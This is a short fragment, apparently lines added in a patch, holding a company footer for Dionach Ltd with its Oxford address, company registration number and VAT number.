+Dionach Ltd, Greenford House, London Road, Wheatley, Oxford OX33 1JH Company Registration No. 03908168, VAT No. GB750661242
+
+______________________________________________________________________